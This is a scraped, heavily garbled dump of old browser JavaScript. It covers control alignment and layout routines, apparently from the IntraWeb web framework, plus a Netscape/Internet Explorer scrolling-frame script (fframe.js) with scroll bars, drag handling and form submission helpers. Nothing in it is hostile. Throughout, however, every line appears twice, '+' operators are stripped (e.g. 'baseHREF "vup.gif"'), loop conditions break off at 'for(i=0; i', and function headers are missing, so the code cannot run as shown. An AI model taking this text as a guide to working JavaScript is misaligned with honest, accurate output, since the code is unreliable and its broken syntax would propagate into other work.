LNewWidth = AParent.Rect.Width - (AParent.OriginalRect.Width - AControl.OriginalRect.Width);
LNewWidth = AParent.Rect.Width - (AParent.OriginalRect.Width - AControl.OriginalRect.Width);
LNewLeft = AControl.OriginalRect.Left AParent.Rect.Width - AParent.OriginalRect.Width;
LNewLeft = AControl.OriginalRect.Left AParent.Rect.Width - AParent.OriginalRect.Width;
LNewLeft = AControl.OriginalRect.Left (AParent.Rect.Width - AParent.OriginalRect.Width) / 2;
LNewLeft = AControl.OriginalRect.Left (AParent.Rect.Width - AParent.OriginalRect.Width) / 2;
/* ((AControl.OriginalRect.Left AControl.OriginalRect.Width / 2) * AParent.Rect.Width) /
/* ((AControl.OriginalRect.Left AControl.OriginalRect.Width / 2) * AParent.Rect.Width) /
AParent.OriginalRect.Width - LNewWidth / 2; */
AParent.OriginalRect.Width - LNewWidth / 2; */
LNewHeight = AParent.Rect.Height - (AParent.OriginalRect.Height - AControl.OriginalRect.Height);
LNewHeight = AParent.Rect.Height - (AParent.OriginalRect.Height - AControl.OriginalRect.Height);
LNewTop = AControl.OriginalRect.Top AParent.Rect.Height - AParent.OriginalRect.Height;
LNewTop = AControl.OriginalRect.Top AParent.Rect.Height - AParent.OriginalRect.Height;
LNewTop = AControl.OriginalRect.Top (AParent.Rect.Height - AParent.OriginalRect.Height) / 2;
LNewTop = AControl.OriginalRect.Top (AParent.Rect.Height - AParent.OriginalRect.Height) / 2;
/* ((AParent.OriginalRect.Top AControl.OriginalRect.Height / 2) * AParent.Rect.Height) /
/* ((AParent.OriginalRect.Top AControl.OriginalRect.Height / 2) * AParent.Rect.Height) /
AParent.OriginalRect.Height - LNewHeight / 2; */
AParent.OriginalRect.Height - LNewHeight / 2; */
switch (AControl.Align) {
switch (AControl.Align) {
LNewRect.Height = LNewHeight;
LNewRect.Height = LNewHeight;
LNewRect.Top = AParent.ClientRect.Top;
LNewRect.Top = AParent.ClientRect.Top;
LNewRect.Width = AParent.ClientRect.Width;
LNewRect.Width = AParent.ClientRect.Width;
AParent.ClientRect.Top = AParent.ClientRect.Top LNewHeight;
AParent.ClientRect.Top = AParent.ClientRect.Top LNewHeight;
AParent.ClientRect.Height = AParent.ClientRect.Height - LNewHeight;
AParent.ClientRect.Height = AParent.ClientRect.Height - LNewHeight;
LNewRect.Top = (AParent.ClientRect.Height AParent.ClientRect.Top) - LNewRect.Height;
LNewRect.Top = (AParent.ClientRect.Height AParent.ClientRect.Top) - LNewRect.Height;
LNewRect.Width = LNewWidth;
LNewRect.Width = LNewWidth;
LNewRect.Left = AParent.ClientRect.Left;
LNewRect.Left = AParent.ClientRect.Left;
LNewRect.Height = AParent.ClientRect.Height; // AParent.OriginalRect.Top;
LNewRect.Height = AParent.ClientRect.Height; // AParent.OriginalRect.Top;
AParent.ClientRect.Left = AParent.ClientRect.Left LNewWidth;
AParent.ClientRect.Left = AParent.ClientRect.Left LNewWidth;
AParent.ClientRect.Width = AParent.ClientRect.Width - LNewWidth;
AParent.ClientRect.Width = AParent.ClientRect.Width - LNewWidth;
LNewRect.Left = (AParent.ClientRect.Left AParent.ClientRect.Width) - LNewRect.Width;
LNewRect.Left = (AParent.ClientRect.Left AParent.ClientRect.Width) - LNewRect.Width;
LNewRect.Height = AParent.ClientRect.Height;
LNewRect.Height = AParent.ClientRect.Height;
AControl.SetRect(LNewRect);
AControl.SetRect(LNewRect);
AControl.UpdateRects(LNewRect);
AControl.UpdateRects(LNewRect);
switch (A.Align) {
switch (A.Align) {
return A.Rect.Top - B.Rect.Top;
return A.Rect.Top - B.Rect.Top;
return B.Rect.Top - A.Rect.Top;
return B.Rect.Top - A.Rect.Top;
return A.Rect.Left - B.Rect.Left;
return A.Rect.Left - B.Rect.Left;
return B.Rect.Left - A.Rect.Left;
return B.Rect.Left - A.Rect.Left;
for(i=0; i
for(i=0; i
if (AParent.OwnedComps[i].Align == AAlign) {
if (AParent.OwnedComps[i].Align == AAlign) {
AlignList[AlignList.length] = AParent.OwnedComps[i];
AlignList[AlignList.length] = AParent.OwnedComps[i];
AlignList.sort(AlignListSort);
AlignList.sort(AlignListSort);
for (i=0; i
for (i=0; i
this.SetRect(this.Rect);
this.SetRect(this.Rect);
if (ANewRect.Width
if (ANewRect.Width
ANewRect.Width = this.OriginalRect.Width;
ANewRect.Width = this.OriginalRect.Width;
if (ANewRect.Height
if (ANewRect.Height
ANewRect.Height = this.OriginalRect.Height;
ANewRect.Height = this.OriginalRect.Height;
this.ClientRect = new Rect(0, 0, ANewRect.Width, ANewRect.Height);
this.ClientRect = new Rect(0, 0, ANewRect.Width, ANewRect.Height);
this.Rect = CopyRect(ANewRect);
this.Rect = CopyRect(ANewRect);
/* for (i = 0; i
/* for (i = 0; i
this.OwnedComps[i].SetRect(this.OwnedComps[i].Rect);
this.OwnedComps[i].SetRect(this.OwnedComps[i].Rect);
if (this.OwnedComps.length > 0) {
if (this.OwnedComps.length > 0) {
var ie4 = (document.all)? true:false;
var ie4 = (document.all)? true:false;
var ns6 = (document.getElementById)? true && !ie4:false;
var ns6 = (document.getElementById)? true && !ie4:false;
var _nav4 = (navigator.appName.indexOf("Netscape") != -1);
var _nav4 = (navigator.appName.indexOf("Netscape") != -1);
var _domain = document.domain;
var _domain = document.domain;
this.top = top;
this.top = top;
this.left = left;
this.left = left;
this.width = width;
this.width = width;
this.height = height;
this.height = height;
this.src = src;
this.src = src;
this.baseHREF = baseHREF;
this.baseHREF = baseHREF;
this.borderColor = borderColor || "#DDDDDD";
this.borderColor = borderColor || "#DDDDDD";
this.inSync = new Array();
this.inSync = new Array();
this.id = _numScrolls;
this.id = _numScrolls;
this.load = _fLoadSrc;
this.load = _fLoadSrc;
this.scrollTo = _fScrollTo;
this.scrollTo = _fScrollTo;
this.scrollBy = _fScrollBy;
this.scrollBy = _fScrollBy;
this.init = _fInit;
this.init = _fInit;
this.setup = _fSetup;
this.setup = _fSetup;
if(src.indexOf("hXXp://") != -1) {
if(src.indexOf("hXXp://") != -1) {
if(src.indexOf(_domain) == -1) {
if(src.indexOf(_domain) == -1) {
alert("fframe.js: Sorry, the src you specified is not in this domain.");
alert("fframe.js: Sorry, the src you specified is not in this domain.");
this.isInit = false;
this.isInit = false;
this.isSetup = false;
this.isSetup = false;
this.baseHREF = GURLBase "/gfx/sb_";
this.baseHREF = GURLBase "/gfx/sb_";
if(!_scrollImgs) _fLoadImages(this.baseHREF);
if(!_scrollImgs) _fLoadImages(this.baseHREF);
this.init();
this.init();
this.load(false, false);
this.load(false, false);
this.setup();
this.setup();
document.body.innerHTML =
document.body.innerHTML =
this.layer = document.all["scroll" _numScrolls];
this.layer = document.all["scroll" _numScrolls];
this.layer.style.borderColor = this.borderColor;
this.layer.style.borderColor = this.borderColor;
this.isInit = true;
this.isInit = true;
this.isSetup = true;
this.isSetup = true;
_scrolls[this.id] = this;
_scrolls[this.id] = this;
_scrollImgs[0].src = baseHREF "vup.gif";
_scrollImgs[0].src = baseHREF "vup.gif";
_scrollImgs[1].src = baseHREF "vup2.gif";
_scrollImgs[1].src = baseHREF "vup2.gif";
_scrollImgs[2].src = baseHREF "vdown.gif";
_scrollImgs[2].src = baseHREF "vdown.gif";
_scrollImgs[3].src = baseHREF "vdown2.gif";
_scrollImgs[3].src = baseHREF "vdown2.gif";
_scrollImgs[4].src = baseHREF "hleft.gif";
_scrollImgs[4].src = baseHREF "hleft.gif";
_scrollImgs[5].src = baseHREF "hleft2.gif";
_scrollImgs[5].src = baseHREF "hleft2.gif";
_scrollImgs[6].src = baseHREF "hright.gif";
_scrollImgs[6].src = baseHREF "hright.gif";
_scrollImgs[7].src = baseHREF "hright2.gif";
_scrollImgs[7].src = baseHREF "hright2.gif";
_scrollImgs[8].src = baseHREF "vbg.gif";
_scrollImgs[8].src = baseHREF "vbg.gif";
_scrollImgs[9].src = baseHREF "vthumb.gif";
_scrollImgs[9].src = baseHREF "vthumb.gif";
_scrollImgs[10].src = baseHREF "hbg.gif";
_scrollImgs[10].src = baseHREF "hbg.gif";
_scrollImgs[11].src = baseHREF "hthumb.gif";
_scrollImgs[11].src = baseHREF "hthumb.gif";
_scrollImgs[12].src = baseHREF "null.gif";
_scrollImgs[12].src = baseHREF "null.gif";
borderLayer = new Layer(frame.width 2);
borderLayer = new Layer(frame.width 2);
borderLayer.left = frame.left-1;
borderLayer.left = frame.left-1;
borderLayer.top = frame.top-1;
borderLayer.top = frame.top-1;
borderLayer.clip.width = frame.width 2;
borderLayer.clip.width = frame.width 2;
borderLayer.height = frame.height 2;
borderLayer.height = frame.height 2;
borderLayer.clip.height = frame.height 2;
borderLayer.clip.height = frame.height 2;
borderLayer.document.bgColor = frame.borderColor;
borderLayer.document.bgColor = frame.borderColor;
borderLayer.visibility = "inherit";
borderLayer.visibility = "inherit";
frame.borderLayer = borderLayer;
frame.borderLayer = borderLayer;
contentLayer = new Layer(frame.width);
contentLayer = new Layer(frame.width);
contentLayer.captureEvents(Event.ONLOAD);
contentLayer.captureEvents(Event.ONLOAD);
contentLayer.onLoad = _fOnLoad;
contentLayer.onLoad = _fOnLoad;
frame.layer = contentLayer;
frame.layer = contentLayer;
frame.layer.frame = frame;
frame.layer.frame = frame;
frame.vspLayer = new Layer(16);// contains scroll bar
frame.vspLayer = new Layer(16);// contains scroll bar
frame.vsuLayer = new Layer(16);// contains up arrow
frame.vsuLayer = new Layer(16);// contains up arrow
frame.vsdLayer = new Layer(16);// contains down arrow
frame.vsdLayer = new Layer(16);// contains down arrow
frame.vssLayer = new Layer(16);// contains thumb
frame.vssLayer = new Layer(16);// contains thumb
_fInitComp(frame.vspLayer,
_fInitComp(frame.vspLayer,
_fInitComp(frame.vsuLayer,
_fInitComp(frame.vsuLayer,
_fInitComp(frame.vsdLayer,
_fInitComp(frame.vsdLayer,
_fInitComp(frame.vssLayer,
_fInitComp(frame.vssLayer,
frame.vssLayer.parLayer = frame.layer;
frame.vssLayer.parLayer = frame.layer;
frame.vssLayer.spLayer = frame.vspLayer;
frame.vssLayer.spLayer = frame.vspLayer;
frame.vspLayer.ssLayer = frame.vssLayer;
frame.vspLayer.ssLayer = frame.vssLayer;
frame.vsuLayer.ssLayer = frame.vssLayer;
frame.vsuLayer.ssLayer = frame.vssLayer;
frame.vsdLayer.ssLayer = frame.vssLayer;
frame.vsdLayer.ssLayer = frame.vssLayer;
frame.hspLayer = new Layer(frame.width-29);// contains scroll bar
frame.hspLayer = new Layer(frame.width-29);// contains scroll bar
frame.hsuLayer = new Layer(16);// contains left arrow
frame.hsuLayer = new Layer(16);// contains left arrow
frame.hsdLayer = new Layer(16);// contains right arrow
frame.hsdLayer = new Layer(16);// contains right arrow
frame.hssLayer = new Layer(17);// contains thumb
frame.hssLayer = new Layer(17);// contains thumb
_fInitComp(frame.hspLayer,
_fInitComp(frame.hspLayer,
_fInitComp(frame.hsuLayer,
_fInitComp(frame.hsuLayer,
_fInitComp(frame.hsdLayer,
_fInitComp(frame.hsdLayer,
_fInitComp(frame.hssLayer,
_fInitComp(frame.hssLayer,
frame.hssLayer.parLayer = frame.layer;
frame.hssLayer.parLayer = frame.layer;
frame.hssLayer.spLayer = frame.hspLayer;
frame.hssLayer.spLayer = frame.hspLayer;
frame.hspLayer.ssLayer = frame.hssLayer;
frame.hspLayer.ssLayer = frame.hssLayer;
frame.hsuLayer.ssLayer = frame.hssLayer;
frame.hsuLayer.ssLayer = frame.hssLayer;
frame.hsdLayer.ssLayer = frame.hssLayer;
frame.hsdLayer.ssLayer = frame.hssLayer;
frame.nLayer = new Layer(15);// when two scroll bars
frame.nLayer = new Layer(15);// when two scroll bars
_fInitComp(frame.nLayer,
_fInitComp(frame.nLayer,
frame.isInit = true;
frame.isInit = true;
if(_loading || !frame.isInit) {
if(_loading || !frame.isInit) {
src = src || frame.src;
src = src || frame.src;
frame.src = src;
frame.src = src;
frame.layer.load(src, frame.width);
frame.layer.load(src, frame.width);
if(frame.isSetup) {
if(frame.isSetup) {
frame.layer.vScroll(0, false, true);
frame.layer.vScroll(0, false, true);
frame.layer.hScroll(0, false, true);
frame.layer.hScroll(0, false, true);
if(!noSetup) frame.setup();
if(!noSetup) frame.setup();
frame.layer.src = src;
frame.layer.src = src;
frame.hMax = frame.layer.document.width;
frame.hMax = frame.layer.document.width;
frame.vMax = frame.layer.document.height;
frame.vMax = frame.layer.document.height;
if((frame.hMax > frame.width) && !frame.hasHScroll) {
if((frame.hMax > frame.width) && !frame.hasHScroll) {
frame.hasHScroll = true;
frame.hasHScroll = true;
frame.height -= 16; // make content shorter to fit horiz. scroll bar
frame.height -= 16; // make content shorter to fit horiz. scroll bar
frame.load(); // reload to see if hMax changes
frame.load(); // reload to see if hMax changes
} else if((frame.hMax
} else if((frame.hMax
frame.hasHScroll = false;
frame.hasHScroll = false;
frame.height = 16; // make content taller
frame.height = 16; // make content taller
if((frame.vMax > frame.height) && !frame.hasVScroll) {
if((frame.vMax > frame.height) && !frame.hasVScroll) {
frame.hasVScroll = true;
frame.hasVScroll = true;
frame.width -= 16; // make content skinnier to fit vert. scroll bar
frame.width -= 16; // make content skinnier to fit vert. scroll bar
frame.load(); // reload to see if vMax changes
frame.load(); // reload to see if vMax changes
} else if((frame.vMax
} else if((frame.vMax
frame.hasVScroll = false;
frame.hasVScroll = false;
frame.width = 16; // make content fatter
frame.width = 16; // make content fatter
frame.load(); // reload to see if hMax changes
frame.load(); // reload to see if hMax changes
frame.layer.left = frame.left;
frame.layer.left = frame.left;
frame.layer.top = frame.top;
frame.layer.top = frame.top;
frame.layer.clip.top = 0;
frame.layer.clip.top = 0;
frame.layer.clip.left = 0;
frame.layer.clip.left = 0;
frame.layer.clip.width = frame.width;
frame.layer.clip.width = frame.width;
frame.layer.clip.height = frame.height;
frame.layer.clip.height = frame.height;
frame.layer.bgColor = "#FFFFFF";
frame.layer.bgColor = "#FFFFFF";
frame.layer.visibility = "show";
frame.layer.visibility = "show";
frame.layer.oHeight = frame.height;
frame.layer.oHeight = frame.height;
frame.layer.oWidth = frame.width;
frame.layer.oWidth = frame.width;
frame.layer.oTop = frame.top;
frame.layer.oTop = frame.top;
frame.layer.oLeft = frame.left;
frame.layer.oLeft = frame.left;
frame.layer.vMax = frame.vMax;
frame.layer.vMax = frame.vMax;
frame.layer.hMax = frame.hMax;
frame.layer.hMax = frame.hMax;
frame.layer.vScroll = _fVScroll;
frame.layer.vScroll = _fVScroll;
frame.layer.hScroll = _fHScroll;
frame.layer.hScroll = _fHScroll;
frame.vssLayer.v = frame.hasVScroll;
frame.vssLayer.v = frame.hasVScroll;
frame.hssLayer.h = frame.hasHScroll;
frame.hssLayer.h = frame.hasHScroll;
if(frame.hasVScroll) {
if(frame.hasVScroll) {
var vspLayerBottom = frame.height-31;
var vspLayerBottom = frame.height-31;
var vspLayerTop = frame.top 16;
var vspLayerTop = frame.top 16;
var vsdLayerTop = frame.top frame.height-16;
var vsdLayerTop = frame.top frame.height-16;
if(frame.baseHREF.indexOf("mac") != -1) {
if(frame.baseHREF.indexOf("mac") != -1) {
_fMoveComp(frame.vspLayer,
_fMoveComp(frame.vspLayer,
vspLayerTop, frame.left frame.width, 16, vspLayerBottom);
vspLayerTop, frame.left frame.width, 16, vspLayerBottom);
_fMoveComp(frame.vsuLayer,
_fMoveComp(frame.vsuLayer,
frame.top, frame.vspLayer.left, 16, 16);
frame.top, frame.vspLayer.left, 16, 16);
_fMoveComp(frame.vsdLayer,
_fMoveComp(frame.vsdLayer,
vsdLayerTop, frame.vspLayer.left, 16, 16);
vsdLayerTop, frame.vspLayer.left, 16, 16);
_fMoveComp(frame.vssLayer,
_fMoveComp(frame.vssLayer,
vspLayerTop, frame.vspLayer.left, 16, 17);
vspLayerTop, frame.vspLayer.left, 16, 17);
frame.vssLayer.visibility = "hide";
frame.vssLayer.visibility = "hide";
frame.vspLayer.visibility = "hide";
frame.vspLayer.visibility = "hide";
frame.vsuLayer.visibility = "hide";
frame.vsuLayer.visibility = "hide";
frame.vsdLayer.visibility = "hide";
frame.vsdLayer.visibility = "hide";
if(frame.hasHScroll) {
if(frame.hasHScroll) {
var hspLayerWidth = frame.width-31;
var hspLayerWidth = frame.width-31;
var hspLayerLeft = frame.left 16;
var hspLayerLeft = frame.left 16;
var hsdLayerLeft = frame.left frame.width - 16;
var hsdLayerLeft = frame.left frame.width - 16;
_fMoveComp(frame.hspLayer,
_fMoveComp(frame.hspLayer,
frame.top frame.height, hspLayerLeft, hspLayerWidth, 16);
frame.top frame.height, hspLayerLeft, hspLayerWidth, 16);
_fMoveComp(frame.hsuLayer,
_fMoveComp(frame.hsuLayer,
frame.hspLayer.top, frame.left, 16, 16);
frame.hspLayer.top, frame.left, 16, 16);
_fMoveComp(frame.hsdLayer,
_fMoveComp(frame.hsdLayer,
frame.hspLayer.top, hsdLayerLeft, 16, 16);
frame.hspLayer.top, hsdLayerLeft, 16, 16);
_fMoveComp(frame.hssLayer,
_fMoveComp(frame.hssLayer,
frame.hspLayer.top, hspLayerLeft, 17, 16);
frame.hspLayer.top, hspLayerLeft, 17, 16);
frame.hssLayer.visibility = "hide";
frame.hssLayer.visibility = "hide";
frame.hspLayer.visibility = "hide";
frame.hspLayer.visibility = "hide";
frame.hsuLayer.visibility = "hide";
frame.hsuLayer.visibility = "hide";
frame.hsdLayer.visibility = "hide";
frame.hsdLayer.visibility = "hide";
if(frame.hasHScroll || frame.hasVScroll) {
if(frame.hasHScroll || frame.hasVScroll) {
document.captureEvents(Event.MOUSEMOVE);
document.captureEvents(Event.MOUSEMOVE);
document.onmousemove = _scrollDrag;
document.onmousemove = _scrollDrag;
if(frame.hasHScroll && frame.hasVScroll)
if(frame.hasHScroll && frame.hasVScroll)
_fMoveComp(frame.nLayer,
_fMoveComp(frame.nLayer,
frame.top frame.height 1, frame.left frame.width 1, 15, 15);
frame.top frame.height 1, frame.left frame.width 1, 15, 15);
frame.nLayer.visibility = "hide";
frame.nLayer.visibility = "hide";
frame.isSetup = true;
frame.isSetup = true;
layer.captureEvents(Event.MOUSEDOWN|Event.MOUSEUP);
layer.captureEvents(Event.MOUSEDOWN|Event.MOUSEUP);
layer.onmousedown = onmousedown;
layer.onmousedown = onmousedown;
layer.onmouseup = onmouseup;
layer.onmouseup = onmouseup;
layer.background.src = _scrollImgs[bgSrc].src;
layer.background.src = _scrollImgs[bgSrc].src;
layer.top = top;
layer.top = top;
layer.left = left;
layer.left = left;
layer.clip.width = width;
layer.clip.width = width;
layer.clip.height = height;
layer.clip.height = height;
layer.visibility = "inherit";
layer.visibility = "inherit";
for(i=0; i
for(i=0; i
out = this.document.links[i];
out = this.document.links[i];
this.captureEvents(Event.ONLOAD | Event.MOUSEDOWN);
this.captureEvents(Event.ONLOAD | Event.MOUSEDOWN);
this.onLoad = _fOnLoad;
this.onLoad = _fOnLoad;
this.onMouseDown = _fOnMouseDown;
this.onMouseDown = _fOnMouseDown;
if(e.target && this.frame) {
if(e.target && this.frame) {
if(e.target.href) {
if(e.target.href) {
if((e.target.href.indexOf("mailto:") == -1) &&
if((e.target.href.indexOf("mailto:") == -1) &&
(e.target.hostname == _domain) &&
(e.target.hostname == _domain) &&
((e.target.target == null) ||
((e.target.target == null) ||
(e.target.target == "_self"))) { // no TARGET specified
(e.target.target == "_self"))) { // no TARGET specified
this.frame.load(e.target);
this.frame.load(e.target);
document.frames("scroll" this.id).self.scrollTo(x,y);
document.frames("scroll" this.id).self.scrollTo(x,y);
if((typeof(x) == "number") && (this.hMax > this.width)) {
if((typeof(x) == "number") && (this.hMax > this.width)) {
var p = x/(this.hMax - this.width);
var p = x/(this.hMax - this.width);
this.layer.hScroll(p,true);
this.layer.hScroll(p,true);
if((typeof(y) == "number") && (this.vMax > this.height)) {
if((typeof(y) == "number") && (this.vMax > this.height)) {
var p = y/(this.vMax - this.height);
var p = y/(this.vMax - this.height);
this.layer.vScroll(p,true);
this.layer.vScroll(p,true);
document.frames("scroll" this.id).self.scrollBy(x,y);
document.frames("scroll" this.id).self.scrollBy(x,y);
x = this.layer.clip.left;
x = this.layer.clip.left;
y = this.layer.clip.top;
y = this.layer.clip.top;
i = p*(this.vMax - this.oHeight);
i = p*(this.vMax - this.oHeight);
this.clip.top = i;
this.clip.top = i;
this.clip.bottom = this.oHeight i;
this.clip.bottom = this.oHeight i;
this.clip.height = this.oHeight;
this.clip.height = this.oHeight;
this.top = this.oTop - i;
this.top = this.oTop - i;
var frame = this.frame;
var frame = this.frame;
frame.vssLayer.top = p*(frame.vspLayer.clip.height -
frame.vssLayer.top = p*(frame.vspLayer.clip.height -
frame.vssLayer.clip.height)
frame.vssLayer.clip.height)
frame.vspLayer.top;
frame.vspLayer.top;
for(f in this.frame.inSync) {
for(f in this.frame.inSync) {
f = this.frame.inSync[f];
f = this.frame.inSync[f];
if(f.hMax > f.width) {
if(f.hMax > f.width) {
p = i/(f.vMax - f.height);
p = i/(f.vMax - f.height);
f.layer.vScroll(p, true, true);
f.layer.vScroll(p, true, true);
i = p*(this.hMax - this.oWidth);
i = p*(this.hMax - this.oWidth);
this.clip.left = i;
this.clip.left = i;
this.clip.right = this.oWidth i;
this.clip.right = this.oWidth i;
this.clip.width = this.oWidth;
this.clip.width = this.oWidth;
this.left = this.oLeft - i;
this.left = this.oLeft - i;
frame.hssLayer.left = p*(frame.hspLayer.clip.width -
frame.hssLayer.left = p*(frame.hspLayer.clip.width -
frame.hssLayer.clip.width)
frame.hssLayer.clip.width)
frame.hspLayer.left;
frame.hspLayer.left;
p = i/(f.hMax - f.width);
p = i/(f.hMax - f.width);
f.layer.hScroll(p, true, true);
f.layer.hScroll(p, true, true);
_lastScrolledId = this.ssLayer.parLayer.frame.id;
_lastScrolledId = this.ssLayer.parLayer.frame.id;
_thumbLayer = this.ssLayer;
_thumbLayer = this.ssLayer;
_barLayer = this.ssLayer.spLayer;
_barLayer = this.ssLayer.spLayer;
_scrollLayer = this.ssLayer.parLayer;
_scrollLayer = this.ssLayer.parLayer;
this.background.src = _scrollImgs[3].src;
this.background.src = _scrollImgs[3].src;
p = (_scrollLayer.clip.top 15) /
p = (_scrollLayer.clip.top 15) /
(_scrollLayer.vMax - _scrollLayer.oHeight);
(_scrollLayer.vMax - _scrollLayer.oHeight);
_scrollLayer.vScroll(p, true);
_scrollLayer.vScroll(p, true);
this.background.src = _scrollImgs[2].src;
this.background.src = _scrollImgs[2].src;
this.background.src = _scrollImgs[1].src;
this.background.src = _scrollImgs[1].src;
p = (_scrollLayer.clip.top-15) /
p = (_scrollLayer.clip.top-15) /
this.background.src = _scrollImgs[0].src;
this.background.src = _scrollImgs[0].src;
this.background.src = _scrollImgs[7].src;
this.background.src = _scrollImgs[7].src;
p = (_scrollLayer.clip.left 15) /
p = (_scrollLayer.clip.left 15) /
(_scrollLayer.hMax - _scrollLayer.oWidth);
(_scrollLayer.hMax - _scrollLayer.oWidth);
_scrollLayer.hScroll(p, true);
_scrollLayer.hScroll(p, true);
this.background.src = _scrollImgs[6].src;
this.background.src = _scrollImgs[6].src;
this.background.src = _scrollImgs[5].src;
this.background.src = _scrollImgs[5].src;
p = (_scrollLayer.clip.left-15) /
p = (_scrollLayer.clip.left-15) /
this.background.src = _scrollImgs[4].src;
this.background.src = _scrollImgs[4].src;
if(e.pageY > this.ssLayer.top)
if(e.pageY > this.ssLayer.top)
_scrollInt = setInterval("_scrollVJump(" dir "," e.pageY ");", 50);
_scrollInt = setInterval("_scrollVJump(" dir "," e.pageY ");", 50);
p = (_scrollLayer.clip.top dir*_scrollLayer.clip.height)/
p = (_scrollLayer.clip.top dir*_scrollLayer.clip.height)/
t = p*(_barLayer.clip.height - _thumbLayer.clip.height)
t = p*(_barLayer.clip.height - _thumbLayer.clip.height)
_barLayer.top;
_barLayer.top;
_scrollLayer.vScroll(p);
_scrollLayer.vScroll(p);
_thumbLayer.top = t;
_thumbLayer.top = t;
if(e.pageX > this.ssLayer.left)
if(e.pageX > this.ssLayer.left)
_scrollInt = setInterval("_scrollHJump(" dir "," e.pageX ");", 50);
_scrollInt = setInterval("_scrollHJump(" dir "," e.pageX ");", 50);
p = (_scrollLayer.clip.left dir*_scrollLayer.clip.width)/
p = (_scrollLayer.clip.left dir*_scrollLayer.clip.width)/
t = p*(_barLayer.clip.width - _thumbLayer.clip.width)
t = p*(_barLayer.clip.width - _thumbLayer.clip.width)
_barLayer.left;
_barLayer.left;
_scrollLayer.hScroll(p);
_scrollLayer.hScroll(p);
_thumbLayer.left = t;
_thumbLayer.left = t;
if(this.parLayer) {
if(this.parLayer) {
_lastScrolledId = this.parLayer.frame.id;
_lastScrolledId = this.parLayer.frame.id;
_dragObject.oTop = _dragObject.top;
_dragObject.oTop = _dragObject.top;
_dragObject.oLeft = _dragObject.left;
_dragObject.oLeft = _dragObject.left;
_dragObject.hOffset = e.pageX - _dragObject.oLeft;
_dragObject.hOffset = e.pageX - _dragObject.oLeft;
_dragObject.vOffset = e.pageY - _dragObject.oTop;
_dragObject.vOffset = e.pageY - _dragObject.oTop;
var pY = e.pageY;
var pY = e.pageY;
var pX = e.pageX;
var pX = e.pageX;
pY -= _dragObject.vOffset;
pY -= _dragObject.vOffset;
if((pX > (_dragObject.left 54)) ||
if((pX > (_dragObject.left 54)) ||
(pX
(pX
pY = _dragObject.oTop;
pY = _dragObject.oTop;
if(pY
if(pY
pY = _dragObject.spLayer.top;
pY = _dragObject.spLayer.top;
if(pY > _dragObject.spLayer.clip.height
if(pY > _dragObject.spLayer.clip.height
_dragObject.spLayer.top -
_dragObject.spLayer.top -
_dragObject.clip.height)
_dragObject.clip.height)
pY = _dragObject.spLayer.clip.height
pY = _dragObject.spLayer.clip.height
_dragObject.clip.height;
_dragObject.clip.height;
_dragObject.top = pY;
_dragObject.top = pY;
percentScroll = (pY - _dragObject.spLayer.top) /
percentScroll = (pY - _dragObject.spLayer.top) /
(_dragObject.spLayer.clip.height -
(_dragObject.spLayer.clip.height -
_dragObject.clip.height);
_dragObject.clip.height);
_dragObject.parLayer.vScroll(percentScroll);
_dragObject.parLayer.vScroll(percentScroll);
pX -= _dragObject.hOffset;
pX -= _dragObject.hOffset;
if((pY > (_dragObject.top 54)) ||
if((pY > (_dragObject.top 54)) ||
(pY
(pY
pX = _dragObject.oLeft;
pX = _dragObject.oLeft;
if(pX
if(pX
pX = _dragObject.spLayer.left;
pX = _dragObject.spLayer.left;
if(pX > _dragObject.spLayer.clip.width
if(pX > _dragObject.spLayer.clip.width
_dragObject.spLayer.left -
_dragObject.spLayer.left -
_dragObject.clip.width)
_dragObject.clip.width)
pX = _dragObject.spLayer.clip.width
pX = _dragObject.spLayer.clip.width
_dragObject.clip.width;
_dragObject.clip.width;
_dragObject.left = pX;
_dragObject.left = pX;
percentScroll = (pX - _dragObject.spLayer.left) /
percentScroll = (pX - _dragObject.spLayer.left) /
(_dragObject.spLayer.clip.width -
(_dragObject.spLayer.clip.width -
_dragObject.clip.width);
_dragObject.clip.width);
_dragObject.parLayer.hScroll(percentScroll);
_dragObject.parLayer.hScroll(percentScroll);
function IWOnError(AMsg, AUrl, ALineNo) {
function IWOnError(AMsg, AUrl, ALineNo) {
window.onError = IWOnError;
window.onError = IWOnError;
if (obj.name != null) {
if (obj.name != null) {
if (obj.name.length > 0) {
if (obj.name.length > 0) {
dobj=GSubmitter.elements[obj.name];
dobj=GSubmitter.elements[obj.name];
if (obj.type=="select-one") {
if (obj.type=="select-one") {
if (obj.selectedIndex!=-1) { dobj.value=obj.options[obj.selectedIndex].value; }
if (obj.selectedIndex!=-1) { dobj.value=obj.options[obj.selectedIndex].value; }
else { dobj.value=-1 }
else { dobj.value=-1 }
if (obj.type=="select-multiple") {
if (obj.type=="select-multiple") {
if (obj.selectedIndex!=-1) {
if (obj.selectedIndex!=-1) {
dobj.value=dobj.value=obj.options[obj.selectedIndex].value ',';
dobj.value=dobj.value=obj.options[obj.selectedIndex].value ',';
for(i=0;i
for(i=0;i
if (obj.options[i].selected==true) {
if (obj.options[i].selected==true) {
dobj.value=dobj.value obj.options[i].value ",";
dobj.value=dobj.value obj.options[i].value ",";
if (obj.type=="checkbox") { dobj.value=obj.checked; }
if (obj.type=="checkbox") { dobj.value=obj.checked; }
if (obj.type=="radio") {
if (obj.type=="radio") {
if (obj.checked) { dobj.value=obj.value; }
if (obj.checked) { dobj.value=obj.value; }
if (obj.type!="button") { dobj.value=obj.value; }
if (obj.type!="button") { dobj.value=obj.value; }
function LoadURL(URL) {
function LoadURL(URL) {
location.replace(URL);
location.replace(URL);
function NewWindow(URL, Name, Options) {
function NewWindow(URL, Name, Options) {
w=window.open(URL, Name, Options);
w=window.open(URL, Name, Options);
function Status(msg) {
function Status(msg) {
window.status=msg;
window.status=msg;
var df=GSubmitter.elements[Name];
var df=GSubmitter.elements[Name];
if (df.value == 'On') {
if (df.value == 'On') {
df.value = 'Off';
df.value = 'Off';
Image.src = GImageCache_TIWCustomCheckBox_False.src;
Image.src = GImageCache_TIWCustomCheckBox_False.src;
df.value = 'On';
df.value = 'On';
Image.src = GImageCache_TIWCustomCheckBox_True.src;
Image.src = GImageCache_TIWCustomCheckBox_True.src;
if (AConfirmation.length == 0) {
if (AConfirmation.length == 0) {
} else if (window.confirm(AConfirmation)) {
} else if (window.confirm(AConfirmation)) {
GSubmitter.elements.IW_Action.value=objname;
GSubmitter.elements.IW_Action.value=objname;
GSubmitter.elements.IW_ActionParam.value=param;
GSubmitter.elements.IW_ActionParam.value=param;
GSubmitter.submit();
GSubmitter.submit();
document.getElementById(id).innerHTML = text;
document.getElementById(id).innerHTML = text;
document.all[id].innerHTML = text;
document.all[id].innerHTML = text;
while (i
while (i
if (i
if (i
return this.Data[this.CurrentRecord][i];
return this.Data[this.CurrentRecord][i];
this.CurrentRecord = 0;
